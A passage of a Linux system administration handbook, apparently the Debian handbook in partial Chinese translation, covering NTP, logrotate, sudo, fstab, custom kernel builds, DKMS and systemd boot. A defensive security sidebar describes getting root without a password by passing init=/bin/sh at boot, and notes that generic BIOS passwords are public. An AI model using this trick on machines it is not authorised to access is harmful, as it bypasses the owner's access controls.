工作站经常需要重新开机 (虽然只是节省能源)，开机时以 NTP 同步就够了。安装 ntpdate 软件包就可以。需要更换 NTP 服务器时，再修改 /etc/default/ntpdate 文件即可。

8.9.2.2. 服务器

服务器很少重启，系统时间必须绝对精准。为了永久维持时间的正确性，必须安装由 ntp 软件包提供的 NPT 服务器。缺省的配置方式系与 pool.ntp.org 同步，且回应本地网络的请求。可以编辑 /etc/ntp.conf 文件改变原来的配置，NTP 服务器依照该文件的内容而变更。若有多个服务器，最好有一个本地时间服务器与公共的服务器同步，并做为本地网络其他服务器的同步的依据。

进一步 GPS 模块与其他时间来源

如果网络对时间同步极为敏感，最好在服务器安装 GPS 模块 (从GPS卫星获取时间) 或 DCF-77 模块 (与位于德国法兰克福的原子钟同步时间 )。在这种情况下，NTP 服务器的配置就有点复杂，必须参照文档办理。

8.9.3. 轮转日志文件

日志文件的增长速度很快，需要存档。最常的做法是循环存档：只保留最新的 X 部分。logrotate 是负责循环的程序，根据 /etc/logrotate.conf 文件内的配置，把日志文件保存在 /etc/logrotate.d/ 文件夹内。管理者可以修改该文件，修改 Debian 缺省的循环政策。logrotate(1) 手册页面描述该配置可用的选项。可以在循环的过程中，增加存档的文件数，或把文件移至指定的文件夹而不是删除它们。也可以电子邮件方式邮寄到别的地方。

logrotate 程序每日运行 cron 调度的要求 (详情见 第 9.7 节 “使用 cron 和 atd运行计划任务”)。

8.9.4. 共享管理员权限

数个管理者共同在同个服务器工作。共用同一个root用户密码不是好主意，匿名引发的误用很麻烦。解决方案是使用 sudo 程序，允许用户对特定命令拥有专门的权力。在多数情况下，sudo 允许受信任的用户以root的权限运行命令。用户只需运行 sudo command 并以个人的密码通过认证。

When installed, the sudo package gives full root rights to members of the sudo Unix group. To delegate other rights, the administrator can use the visudo command, which allows them to modify the /etc/sudoers configuration file (here again, this will invoke the vi editor, or any other editor indicated in the EDITOR environment variable). Alternatively they might put rules in small files in /etc/sudoers.d/ as long as this directory is included by /etc/sudoers via @includedir /etc/sudoers.d, which is the default for Debian. Adding a line with username ALL=(ALL) ALL allows the user in question to execute any command as root.

More sophisticated configurations allow authorization of only specific commands to specific users. All the details of the various possibilities are given in the sudoers(5) manual page.

8.9.5. 挂载点清单

基础知识 挂载与卸载

In a Unix-like system such as Debian, files are organized in a single tree-like hierarchy of directories. The / directory is called the “root directory”; all additional directories are sub-directories within this root. “Mounting” is the action of including the content of a peripheral device (often a hard drive) into the system's general file tree. As a consequence, if you use a separate hard drive to store users' personal data, this disk will have to be “mounted” in the /home/ directory (during installation you already made relevant choices, see 第 4.2.13.1 节 “引导分区”) The root filesystem is always mounted at boot by the kernel; other devices are often mounted later during the startup sequence or manually with the mount command.

有些移动式设备在链接时系统自动挂载，尤其在 GNOME、Plasma 或其他图形桌面环境。有些情况就需要用户手动挂载。同样的，也需要卸载 (从文件树移除)。标准的用户权限不允许运行挂载 mount 与卸载 umount 命令。只有管理者才能够设置 /etc/fstab 文件内的 user 选项，授权用户运行该等命令 (独立于每个挂载点)。

The mount command can be used without arguments to list all mounted filesystems (as found in /proc/mounts as well); you can execute findmnt --fstab to show only the filesystems from /etc/fstab. The following parameters are required to mount or unmount a device - for the complete list, please refer to the corresponding man pages, mount(8) and umount(8). For simple cases, the syntax is simple too: for example, to mount the /dev/sdc1 partition, which has an ext3 filesystem, into the /mnt/tmp/ directory, you would simply run mount -t ext3 /dev/sdc1 /mnt/tmp/.

The /etc/fstab file gives a list of all possible mounts that happen either automatically on boot or manually for removable storage devices. Each mount point is described by a line with several space-separated fields:

- file system: this indicates where the filesystem to be mounted can be found, it can be a local device (hard drive partition, CD-ROM) or a remote filesystem (such as NFS or even SSHFS).
This field is frequently replaced with the unique ID of the filesystem (which you can determine with blkid device) prefixed with UUID=. This guards against a change in the name of the device in the event of addition or removal of disks, or if disks are detected in a different order. 第 8.8.1 节 “辨识磁盘” covers this topic in more detail.

- mount point：这是把设备、远程系统或分区挂载到本地文件系统的位置。

- type：这个字段定义挂载设备使用的文件系统。ext4、ext3、vfat、ntfs、btrfs、xfs 等。
基础知识 NFS，网络文件系统

NFS 是一种 Linux 环境下的网络文件系统，把远程的文件以透明方式纳入本地的文件系统内。

A complete list of known filesystems is available in the mount(8) manual page. The swap special value is for swap partitions; the auto special value tells the mount program to automatically detect the filesystem (which is especially useful for disk readers and USB keys, since each one might have a different filesystem);

- options：依文件系统的不同，而有多种选项，详情见 mount 手册页面。最常用的是

- rw 或 ro，表示该设备挂载后可以读/写，或只有读取的权限。

- noauto 开机时关闭自动挂载。

- nofail 允许在启动时处理设备，即使该设备不存在。确认启动时，该外置磁盘机可能未插入，因为 systemd 将确认所有挂载点在启动完成前必须自动挂载。可将此与 x-systemd.device-timeout=5s 并用，告诉 systemd 不必等 5 秒以上的时间，直接进入下个作业阶段 (见 systemd.mount(5))。

- user 授权所有的用户均可挂载此文件系统 (若无此选项，则只有根用户才有此权限)。

- defaults 表示缺省的选项群组为：rw、suid、dev、exec、auto、nouser 与 async，使用了 defaults 之后，还可以用 nosuid 命令、nodev 及其他类似的命令，中止 suid、dev 等作用。加入 user 选项可再启用它，因为 defaults 包括 nouser。

- dump: this field is almost always set to 0 and kind of a relic. When it is greater then zero, it tells the dump tool that the partition contains data that is to be backed up frequently. The tool supports Ext2/3/4 filesystems only and will use the value here when run via dump -W or dump -w to determine which partitions need to be backed up. Consider the examples in /usr/share/doc/dump/examples/ if you want to use this feature. But there are better alternatives to backup a filesystem, like fsarchiver.

- pass：最后一个字段告知系统在启动时，或其他时机，检查文件系统的完整性。若设为 0，则不检查。根文件系统的值为 1，其他固定文件系统的值为 2。

例 8.5. 范例 /etc/fstab 文件

# /etc/fstab: static file system information.

#

# Use 'blkid' to print the universally unique identifier for a

# device; this may be used with UUID= as a more robust way to name devices

# that works even if disks are added and removed. See fstab(5).

#

# systemd generates mount units based on this file, see systemd.mount(5).

# Please run 'systemctl daemon-reload' after making changes here.

#

# <file system>                           <mount point>   <type>      <options>         <dump>  <pass>

# / was on /dev/sda1 during installation

UUID=7a250fb8-c16d-4a4e-9808-ec08ae92b6c6 /               ext4        errors=remount-ro 0       1

# swap was on /dev/sda5 during installation

UUID=13f367ae-dbaf-40ed-85c0-4072a2ebe426 none            swap        sw                0       0

/dev/sr0                                  /media/cdrom0   udf,iso9660 user,noauto       0       0

/dev/fd0                                  /media/floppy   auto        rw,user,noauto    0       0

arrakis:/shared                           /shared         nfs         defaults          0       0

The last entry in the example corresponds to a network filesystem (NFS): the /shared/ directory on the arrakis server is mounted at /shared/ on the local machine.

The format of the /etc/fstab file is documented in the fstab(5) manual page.

进一步 自动挂载

systemd is able to manage automount points: those are filesystems that are mounted on-demand when a user attempts to access their target mount points. It can also unmount these filesystems when no process is accessing them any longer.

Like most concepts in systemd, automount points are managed with dedicated units, using the .automount suffix. See systemd.automount(5) for their precise syntax.

还有其他自动挂载实用程序，诸如 autof role="pkg">autofs 软件包中的 automount 或 am-utils 软件包中的amd。

Note also that GNOME, Plasma, and other graphical desktop environments work together with udisks2, and can automatically mount removable media when they are connected.

8.9.6. locate 与 updatedb

The locate command can find the location of a file when you only know part of the name. It sends a result almost instantaneously, since it consults a database that stores the location of all the files on the system; this database is updated daily by the updatedb command. There are multiple implementations of the locate command and Debian picked mlocate for its standard system. If you want to consider an alternative, you can try plocate which provides the same command line options and can be considered a drop-in replacement.

locate is smart enough to only return files which are accessible to the user running the command even though it uses a database that knows about all files on the system (since its updatedb implementation runs with root rights). For extra safety, the administrator can use PRUNEDPATHS in /etc/updatedb.conf to exclude some directories from being indexed.

8.10. 编译内核

Debian 的内核尽量纳入所有的功能，以及最多的驱动程序，以便涵盖现在的硬件配置。所以，有些用户宁愿自行编译只包括所需的内核。这么做有两个理由。第一，内存用量较小，内核代码即使未用到，也占有内存的空间 (而且永远不 “离开” 置换内存，因为它用到实际的 RAM)，降低系统的整体性能。本地自行编译的内核也限制了安全问题的范围，因为只编译与运行部分内核码。

说明 安全更新

决定编译自己的内核后，必须接受一个事实：Debian 不能确认定制内核的安全更新。使用 Debian 的内核，可以使用 Debian 计划提供的更新。

使用只在补丁内提供的功能 (不在标准的内核版本内) 时，就必须重新编译内核。

进一步 The Debian Kernel Handbook

Debian 内核团队维护的 “Debian Kernel Handbook” (全文见 debian-kernel-handbook 软件包) 详述内核相关的工作与 Debian 内核软件包的处理方式。欲知本节所述事宜的详情，请参见此网址。

→ https://kernel-team.pages.debian.net/kernel-handbook/

8.10.1. 简介和先决条件

Debian 以软件包方式管理内核，与传统的编译安装不同。内核还是在软件包系统的控制下，可以被完整移除，或布建在多个机器上。与该软件包有关的脚本自动与启动程序和 initrd 生成器交互。

The upstream Linux sources contain everything needed to build a Debian package of the kernel. But you still need to install build-essential to ensure that you have the tools required to build a Debian package. Furthermore, the configuration step for the kernel requires the libncurses-dev package (formerly libncurses5-dev, which is now a transitional package). Finally, the fakeroot package will enable creation of the Debian package without using administrator's rights.

文化 kernel-package 的美好岁月

在 Linux 构建系统能够创建适当的 Debian 软件包前，构建这样软件包的推荐方式，是使用来自 kernel-package 软件包的 make-kpkg。

8.10.2. 获取源代码

就像 Debian 系统内其他有用的东西，Linux 内核源代码也在软件包内。只要安装 linux-source-version 软件包，就能取得全部的源代码。apt search ^linux-source 命令列出 Debian 内各种版本的核心软件包。最新的版本在 Unstable 发行版内：可以毫不费力的取得 (尤其是把 APT 根据 第 6.2.6 节 “在多个发行版中工作” 的指示配置后)。这些软件包内的源代码并未完全吻合 Linus Torvalds 与其他核心开发者发布的内容；如同其他的发行版，Debian 以一系列的补丁搭配，这些补丁可能 (或不可能) 以自己的方法纳入 Linux 上游的版本。包括从较新核心版本的 fixes/features/drivers 反向迁移，功能较新但尚未 (全部) 合并入上游的Linux 树，甚至 Debian 特别的改变。

The remainder of this section focuses on the 5.10 version of the Linux kernel, but the examples can, of course, be adapted to the particular version of the kernel that you want.

We assume the linux-source-5.10 package has been installed. It contains /usr/src/linux-source-5.10.tar.xz, a compressed archive of the kernel sources. You must extract these files in a new directory (not directly under /usr/src/, since there is no need for special permissions to compile a Linux kernel): ~/kernel/ is appropriate.

$ mkdir ~/kernel; cd ~/kernel

$ tar -xaf /usr/src/linux-source-5.10.tar.xz

文化 内核源代码的位置

传统上，Linux 内核源代码放置于 /usr/src/linux/，需要root权限才能编译。但是，在不需要时应避免使用管理员权限。src 群组的成员也可以使用该文件夹，但是应避免使用 /usr/src/。把核心源代码置于个人文件夹时，应把安全放在第一位：在 /usr/ 内的文件都应明确其在软件包系统内的作用，试图收集内核使用的信息时，不能在读取 /usr/src/linux 时误导程序。

To build a kernel from the pristine sources, just download the tarball of the version of your choice from kernel.org, verify the integrity after importing the kernel maintainers key, and then proceed as described in the following chapters.

→ https://kernel.org/pub/linux/kernel/

→ https://git.kernel.org/pub/scm/docs/kernel/pgpkeys.git/tree/keys

$ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.xz

[..]

$ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.sign

[..]

$ unxz -c linux-5.10.62.tar.xz | gpg --verify linux-5.10.62.tar.sign -

gpg: Signature made Fri 03 Sep 2021 10:11:35 AM CEST

gpg:                using RSA key 647F28654894E3BD457199BE38DBBDC86092693E

gpg: Good signature from "Greg Kroah-Hartman <gregkh@linuxfoundation.org>" [unknown]

gpg:                 aka "Greg Kroah-Hartman (Linux kernel stable release signing key) <greg@kroah.com>" [unknown]

gpg:                 aka "Greg Kroah-Hartman <gregkh@kernel.org>" [unknown]

gpg: WARNING: This key is not certified with a trusted signature!

gpg:          There is no indication that the signature belongs to the owner.

Primary key fingerprint: 647F 2865 4894 E3BD 4571  99BE 38DB BDC8 6092 693E

8.10.3. 配置内核

下一个步骤是根据需要配置内核。确切的进程视需要而订。

When recompiling a more recent version of the kernel (possibly with an additional patch), the configuration will most likely be kept as close as possible to that proposed by Debian. In this case, and rather than reconfiguring everything from scratch, it is sufficient to copy the /boot/config-version file (the version is that of the kernel currently used, which can be found with the uname -r command) into a .config file in the directory containing the kernel sources. Make sure to read sidebar TIP Missing debian/certs/debian-uefi-certs.pem in this case.

$ cp /boot/config-5.10.0-8-amd64 ~/kernel/linux-source-5.10/.config

需要改变配置的话，就跳至 第 8.10.4 节 “编译与创建软件包”。或者从基本开始重新配置，就需花时间配置内核。在内核源代码的文件夹内有很多专属接口，使用 make target 命令调用，target 是下列的值之一。

make menuconfig compiles and executes a text-mode interface (this is where the libncurses-dev package is required) which allows navigating the options available in a hierarchical structure. Pressing the Space key changes the value of the selected option, and Enter validates the button selected at the bottom of the screen; Select returns to the selected sub-menu; Exit closes the current screen and moves back up in the hierarchy; Help will display more detailed information on the role of the selected option. The arrow keys allow moving within the list of options and buttons. To exit the configuration program, choose Exit from the main menu. The program then offers to save the changes you've made; accept if you are satisfied with your choices.

Other interfaces have similar features, but they work within more modern graphical interfaces; such as make xconfig which uses a Qt graphical interface, and make gconfig which uses GTK+. The former requires qtbase5-dev, while the latter depends on libglade2-dev and libgtk2.0-dev.

使用这些配置界面时，建议从合理的缺省配置开始。提供该配置的内核在 arch/arch/configs/*_defconfig，然后使用 make x86_64_defconfig (64 位电脑) 或 make i386_defconfig (32 位电脑) 这样的命令选择合适的缺省配置。

秘诀 处理过时的 .config 文件

使用其他 (通常是较旧的) 内核版本的 .config 文件时，需要先更新它。可以使用 make oldconfig 命令，以交互方式询问对新配置的选择。可以用 make olddefconfig 命令使用问题缺省的答案。以 make oldnoconfig 命令，可以对问题提供缺省的答案。

8.10.4. 编译与创建软件包

说明 创建前先清理

If you have already compiled once in the directory and wish to rebuild everything from scratch (for example, because you substantially changed the kernel configuration), you will have to run make clean to remove the compiled files. make distclean removes even more generated files, including your .config file too, so make sure to backup it first.

Once the kernel configuration is ready, a simple make deb-pkg will generate up to 5 Debian packages:

linux-image-version

contains the kernel image and the associated modules,

linux-headers-version

contains the header files required to build external modules,

linux-firmware-image-version

contains the firmware files needed by some drivers (this package might be missing when you build from the kernel sources provided by Debian),

linux-image-version-dbg

contains the debugging symbols for the kernel image and its modules (only created if CONFIG_DEBUG_INFO=y), and

linux-libc-dev

contains headers relevant to some user-space libraries like GNU glibc.

The version is defined by the concatenation of the upstream version (as defined by the variables VERSION, PATCHLEVEL, SUBLEVEL, and EXTRAVERSION in the Makefile), of the LOCALVERSION configuration parameter, and of the LOCALVERSION environment variable. The package version reuses the same version string with an appended revision that is regularly incremented (and stored in .version), except if you override it with the KDEB_PKGVERSION environment variable.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1

[...]

$ ls ../*.deb

../linux-headers-5.10.46-falcot_5.10.46-1_amd64.deb

../linux-image-5.10.46-falcot_5.10.46-1_amd64.deb

../linux-image-5.10.46-falcot-dbg_5.10.46-1_amd64.deb

../linux-libc-dev_5.10.46-1_amd64.deb

The whole process requires around 20 GB of free space, at least 8 GB of RAM, and several hours of compilation (utilizing one core) for a standard amd64 Debian kernel. These requirements can be drastically reduced by disabling the debug information using CONFIG_DEBUG_INFO=n, but this will make it impossible to trace kernel errors (“oops”) using gdb and also stop the creation of the linux-image-version-dbg package.

TIP Missing debian/certs/debian-uefi-certs.pem

The default kernel in Debian contains the following configuration:

[..]

#

# Certificates for signature checking

#

CONFIG_MODULE_SIG_KEY=""

CONFIG_SYSTEM_TRUSTED_KEYRING=y

CONFIG_SYSTEM_TRUSTED_KEYS="debian/certs/debian-uefi-certs.pem"

# CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set

CONFIG_SECONDARY_TRUSTED_KEYRING=y

CONFIG_SYSTEM_BLACKLIST_KEYRING=y

CONFIG_SYSTEM_BLACKLIST_HASH_LIST=""

# end of Certificates for signature checking

[..]

Building a custom kernel based on these settings will fail if debian/certs/debian-uefi-certs.pem does not exist. This file can either be obtained from the kernel team's Git repository and placed into the source tree, or it can be replaced by your own certificate(s), or you'll have to disable the setting via CONFIG_SYSTEM_TRUSTED_KEYS="".

→ https://salsa.debian.org/kernel-team/linux/-/blob/master/debian/certs/debian-uefi-certs.pem

8.10.5. 编译外部模块

Some modules are maintained outside of the official Linux kernel. To use them, they must be compiled alongside the matching kernel. A number of common third party modules are provided by Debian in dedicated packages, such as vpb-driver-source (extra modules for Voicetronix telephony hardware) or leds-alix-source (driver of PCEngines ALIX 2/3 boards).

这些软件包极多且复杂，apt-cache rdepends module-assistant$ 可以列出Debian提供的部分。然而，完整的清单没什么用处，只有明确知道需要时，才会编译特定的外部模块。在这个情况下，设备的文档会详述 Linux 环境所需的模块。

For example, let's look at the dahdi-source package: after installation, a .tar.bz2 of the module's sources is stored in /usr/src/. While we could manually extract the tarball and build the module, in practice we prefer to automate all this using the DKMS framework (Dynamic Kernel Module Support). Most modules offer the required DKMS integration in a package ending with a -dkms suffix. In our case, installing dahdi-dkms is all that is needed to compile the kernel module for the current kernel provided that we have the linux-headers-* package matching the installed kernel. For instance, if you use linux-image-amd64, you would also install linux-headers-amd64.

QUICK LOOK DKMS and Secure Boot

On UEFI systems with Secure Boot enabled, modules require signing before they can be loaded. The modules shipped with the kernel packages are signed. But external modules are not. Luckily, dkms already has everything that is required to sign built modules.

First, create a private key /root/dkms.key and a matching certificate /root/dkms.der with openssl, and enroll it with the mokutil --import /root/dkms.der command (please read /usr/share/doc/dkms/README.md.gz for details). This will require a restart and actively importing the certificate using the EFI MOK Manager interface. After this has been done, the sign_tool line in /etc/dkms/framework.conf must be uncommented. Already built modules need to be rebuilt, to be signed by the newly created and enrolled certificate. New modules will be automatically signed.

$ sudo apt install dahdi-dkms

[...]

Setting up dkms (2.8.4-3) ...

Setting up linux-headers-5.10.0-8-amd64 (5.10.46-4) ...

/etc/kernel/header_postinst.d/dkms:

dkms: running auto installation service for kernel 5.10.0-8-amd64:.

Setting up dahdi-dkms (1:2.11.1.0.20170917~dfsg-7.4) ...

Loading new dahdi-2.11.1.0.20170917~dfsg-7.4 DKMS files...

Building for 5.10.0-8-amd64

Building initial module for 5.10.0-8-amd64

Done.

dahdi_dummy.ko:

Running module version sanity check.

- Original module

- No original module exists within this kernel

- Installation

- Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/

dahdi_dynamic_eth.ko:

Running module version sanity check.

- Original module

- No original module exists within this kernel

- Installation

- Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/

[...]

DKMS: install completed.

$ sudo dkms status

dahdi, 2.11.1.0.20170917~dfsg-7.4, 5.10.0-8-amd64, x86_64: installed

$ sudo modinfo dahdi_dummy

filename:       /lib/modules/5.10.0-8-amd64/updates/dkms/dahdi_dummy.ko

license:        GPL v2

author:         Robert Pleh <robert.pleh@hermes.si>

description:    Timing-Only Driver

depends:        dahdi

retpoline:      Y

name:           dahdi_dummy

vermagic:       5.10.0-8-amd64 SMP mod_unload modversions

parm:           debug:int

其他 module-assistant

DKMS 出现以前，module-assistant 是创建与部署内核模块的最简单解决方案。目前还能用，特别是缺少 DKMS 集成的情况：以 module-assistant auto-install dadhi (或较短的 m-a a-i dahdi) 命令，就能编译出给当前内核使用的模块，置于新的 Debian 软件包，让该软件包可以即时安装。

8.10.6. 选择内核补丁

因为不够成熟或内核维护者意见不一致，很多功能未列入标准的内核。这种功能就以补丁的形式发行，任何人都可以自由地把它纳入内核源代码。

Debian 以 linux-patch-* 的形式提供这些软件包，但通常不在稳定版中（有时相同的原因是这些都未纳入上游内核版本中）。这些软件包安装的文件在 /usr/src/kernel-patches/ 文件夹内。

To apply one or more of these installed patches, use the patch command in the sources directory then start compilation of the kernel as described above. The following shows an old example using linux-patch-grsecurity2 and linux-source-4.9.

$ cd ~/kernel/linux-source-4.9

$ make clean

$ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.patch.gz | patch -p1

有些补丁不见得适用于每个内核版本；以 patch 可能无法应用于内核源代码。将出现错误消息且提示错误的原因；在此情况下，参照 Debian 补丁软件包的文档 (位于 /usr/share/doc/linux-patch-*/ 文件夹)。大部分的情况下，维护者会指出其补丁适用的内核版本。

8.11. 安装内核

8.11.1. Debian 内核包特性

Debian 内核软件包安装内核映像 (vmlinuz-version)、其配置 (config-version) 与符号表 (System.map-version) 到 /boot/ 内。其模块安装在 /lib/modules/version/ 文件夹。

文化 符号表

符号表协助开发者了解核心错误消息的意义；少了心，核心 “oopses” (“oops” 是相当于给用户程序的核心区段错误，换句话说，消息加上错误指针) 只有数字内存地址，没有符号表映射该等地址至符号与功能的话，本身是无意义的。

The package's configuration scripts automatically generate an initramfs image (the successor of the old initial ramdisk initrd image), which is a compressed mini-system designed to be loaded in memory (hence the name, which stands for “initial ram filesystem”) by the bootloader, and used by the Linux kernel solely for loading the modules needed to access the devices containing the complete Debian system (for example, the driver for SATA disks). Finally, the post-installation scripts update the symbolic links /vmlinuz, /vmlinuz.old, /initrd.img, and /initrd.img.old so that they point to the latest two kernels installed, respectively, as well as the corresponding initramfs boot images.

大部分的这些工作卸载至 /etc/kernel/*.d/ 文件夹内的脚本。例如，当已安装或移除内核时，集成 grub 于 /etc/kernel/postinst.d/zz-update-grub 和 /etc/kernel/postrm.d/zz-update-grub 调用 update-grub。

8.11.2. 使用 dpkg 安装

Using apt is so convenient that it makes it easy to forget about the lower-level tools, but the easiest way of installing a compiled kernel is to use a command such as dpkg -i package.deb, where package.deb is the name of a linux-image package such as linux-image-5.10.46-falcot_5.10.46-1_amd64.deb.

本章描述供服务器系统或工作站的基本配置，可以用半自动的方式大量复制。然而，本身还不足以提供完整的配置系统。还有若干部分需要进一步的配置，从 “Unix 服务” 之类的低级程序开始。

第 9 章 Unix 服务

本章涵盖一些 Unix 系统共通的服务。管理员应当熟悉他们。

9.1. 系统启动

当启动计算机时，控制台上滚动的大量信息显示许多初始化和配置工作正在自动执行。有时候你可能稍稍的改变这一阶段的操作，就要求你需要很好的理解他们。这正是本章节的目的所在。

On systems with a BIOS, first, the BIOS takes control of the computer, initializes the controllers and hardware, detects the disks, and bridges everything together. Then it looks up the Master Boot Record (MBR) of the first disk in the boot order and loads the code stored there (first stage). This code then launches the second stage and finally executes the bootloader.

In contrast to the BIOS, UEFI is more sophisticated, it knows filesystems and can read the partition tables. The interface searches the system storage for a partition labeled with a specific globally unique identifier (GUID) that marks it as the EFI System Partition (ESP), where the bootloaders, boot managers, UEFI shell, etc., are located, and launches the desired bootloader. If Secure Boot is enabled, the boot process will verify authenticity of the EFI binaries there by signature (thus grub-efi-arch-signed is required in this case). The UEFI specification also defines support for booting in legacy BIOS mode. This is called the Compatibility Support Module (CSM). If CSM is enabled, it will attempt to boot from a drive's MBR. However, many new systems do no longer support the CSM mode.

In both cases then the actual bootloader takes over, finds either a chained bootloader or the kernel on the disk, loads, and executes it. The kernel is then initialized, and starts to search for and mount the partition containing the root filesystem, and finally executes the first program — init. Frequently, this “root partition” and this init are, in fact, located in a virtual filesystem that only exists in RAM (hence its name, “initramfs”, formerly called “initrd” for “initialization RAM disk”). This filesystem is loaded in memory by the bootloader, often from a file on a hard drive or from the network. It contains the bare minimum required by the kernel to load the “true” root filesystem: this may be driver modules for the hard drive, or other devices without which the system cannot boot, or, more frequently, initialization scripts and modules for assembling RAID arrays, opening encrypted partitions, activating LVM volumes, etc. Once the root partition is mounted, the initramfs hands over control to the real init, and the machine goes back to the standard boot process.

9.1.1. Systemd 启动系统

“真正的启动器”当前是由systemd 提供的，本章节讲述该启动系统。

文化 在 systemd 之前

systemd 是相当新的 “启动系统”，虽然在 Wheezy 里已经可以使用到某个程度，直到 Debian Jessie 才纳入作为默认值。稍早的版本，缺省是 “System V init” (在 sysv-rc 软件包内)，算是传统的系统。稍后描述 System V init。

选择 其它启动系统

This book describes the boot system used by default in Debian since Buster (as implemented by the systemd package), as well as the previous default, sysvinit, which is derived and inherited from System V Unix systems; there are others.

upstart 系统在 Debian 上仍未完整测试。它以事件为基础：不再依序运行 init 脚本，但回应另一个依附的脚本。由 Ubuntu 开始的这个系统，列在 Debian Jessie 内，但还不是缺省值；事实上，作为 sysvinit 的替代品，由 upstart 启动的工作，系用来启动传统系统而设的，特别是来自 sysv-rc 软件包的脚本。

openrc is a dependency based service manager. It was originally written for the Gentoo project, but it aims at being platform agnostic. It maintains compatibility with the System V init system and provides support for booting, changing runlevels, starting and stopping services (in parallel), and shutting down.

There are also other systems and other operating modes, such as file-rc, runit, or minit, but some of them are relatively specialized and not widespread.

图 9.1. 运行 sytemd 的 Linux 计算机的启动顺序

特例 从网络启动

In some configurations, the system may be configured not to execute code from the physical hardware, but to seek its equivalent on the network, making it possible to build computers without a hard drive, or which are completely reinstalled on each boot. This option is not available on all hardware and it generally requires an appropriate combination of firmware and network card.

从网络启动可以用于执行 debian-installer or FAI （参考 第 4.1 节 “安装方式”）。

基础知识进程，一个程序实例

A process is the representation of a running program in memory. It includes all of the information necessary for the proper execution of the software (the code itself, but also the data that it has in memory, the list of files that it has opened, the network connections it has established, etc.). A single program may be instantiated into several processes, not necessarily running under different user IDs.

安全 使用 shell 作为 init 获取root权限

通常，第一个启动的进程是 init 程序（默认是到 /lib/systemd/systemd 的符号链接）。然而，也可以通过传递 init 选项告诉内核使用其他的程序。

任何可以接近电脑的人都能按下复位 按键，并重新启动。然后，在启动提示下，传递init=/bin/sh选项给内核，无需知道密码而获取root权限。

为了防止此类事件，可以给加载器设定密码。你也许会考虑保护 BIOS （密码保护总是可行的），这样可以防止侵入者使用包含自己的 Linux 系统的移动介质启动电脑，使用该系统可以读取硬盘上的数据。

Finally, be aware that most BIOS/EFI implementations have a generic password available. Initially intended for troubleshooting for those who have forgotten their password, these passwords are now public and available on the Internet (see for yourself by searching for “generic BIOS passwords” in a search engine). All of these protections will thus impede unauthorized access to the machine without being able to completely prevent it. There is no reliable way to protect a computer if the attacker can physically access it; they could dismount the hard drives to connect them to a computer under their own control anyway, or even steal the entire machine, or erase the BIOS memory to reset the password…

Systemd 运行多个进程，设置系统：键盘、驱动程序、文件系统、网络、服务等。同时全面查看系统，以及必要的配件。每个配件都视为一个 “单元文件” (有时为多个)；通用的语法源自于常用的 “*.ini files“ 语法，包括配对的 key = value 列在 [section] 标头内。单元文件保存在 /lib/systemd/system/ 与 /etc/systemd/system/ 内；以多种方式呈现，目前专注在 “services” 与 “targets”。

A systemd “.service file” describes a process managed by systemd. It contains roughly the same information as old-style init-scripts, but expressed in a declaratory (and much more concise) way. Systemd handles the bulk of the repetitive tasks (starting and stopping the process, checking its status, logging, dropping privileges, and so on), and the service file only needs to fill in the specifics of the process. For instance, here is the service file for SSH:

[Unit]

Description=OpenBSD Secure Shell server

Documentation=man:sshd(8) man:sshd_config(5)

After=network.target auditd.service

ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

[Service]

EnvironmentFile=-/etc/default/ssh

ExecStartPre=/usr/sbin/sshd -t

ExecStart=/usr/sbin/sshd -D $SSHD_OPTS

ExecReload=/usr/sbin/sshd -t

ExecReload=/bin/kill -HUP $MAINPID

KillMode=process

Restart=on-failure

RestartPreventExitStatus=255

Type=notify

RuntimeDirectory=sshd

RuntimeDirectoryMode=0755

[Install]

WantedBy=multi-user.target

Alias=sshd.service

The [Unit] section contains generic information about the service, like its description and manual page resources, as well as relations (dependency and order) to other services. The [Service] part contains the declarations related to the service execution (starting, stopping, killing, restarting), directories and configuration file(s) used. The last section, [Install], again carries generic information into which targets to install the service and, in this case, the alias that can be used instead of the service name. As you can see, there is very little code in there, only declarations. Systemd takes care of displaying progress reports, keeping track of the processes, and even restarting them when needed. The syntax of these files is fully described in several manual pages (e.g. systemd.service(5), systemd.unit(5), systemd.exec(5), etc.).

A systemd “.target file” describes a state of the system where a set of services are known to be operational. It can be thought of as an equivalent of the old-style runlevel. One of the pre-defined targets is local-fs.target; when it is reached, the rest of the system can assume that all local filesystems are mounted and accessible. Other targets include network-online.target and sound.target (for a full list of special targets see systemd.special(7)). The dependencies of a target can be listed either within the target file (in the Requires= line), or using a symbolic link to a service file in the /lib/systemd/system/targetname.target.wants/ directory. For instance, /etc/systemd/system/printer.target.wants/ contains a link to /lib/systemd/system/cups.service; systemd will therefore ensure CUPS is running in order to reach printer.target.

单元文件是声明性的而不是脚本或程序，不能直接运行，只能被 systemd 解译；因些工具允许管理者与 systemd 交互且控制系统的状态与其组件。

第一个工具是 systemctl。未使用参数运行时，它列出 systemd 已知的所有单元档 (除了已经停用的)，及其现况。systemctl status 则以更佳的角度查看服务，以及相关的进程。若提供服务的名称 (如 systemctl status ntp.service)，则返回更多详细的数据，以及与该服务有关的最后几个日志档 (还有更多的)。

运行 systemctl start servicename.service 就能以人工方式启动服务。同样的，运行 systemctl stop servicename.service 就能停止已完成的服务；其他的命令包括 reload 与 restart。

以 systemctl enable servicename.service (或 disable) 控制启动服务 (即开机后自动启动)。is-enabled 可以检查服务的状态。

systemd 重要的功能之一是日志组件 journald。作为 syslogd 之类传统日志系统组件的补充，但加入额外的功能包括在服务与其产生消息间的正式链接，以及捕捉由初始过程产生的错误消息。在 journalctl 命令的协助下，稍后可显示该等消息。不需任何参数，它显示系统启动后发生的所有日志消息；不过很少用到它。多数时间，把它作为服务的辨识器：

# journalctl -u ssh.service

-- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST. --

Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.

Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22.

Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting.

Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.

Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22.

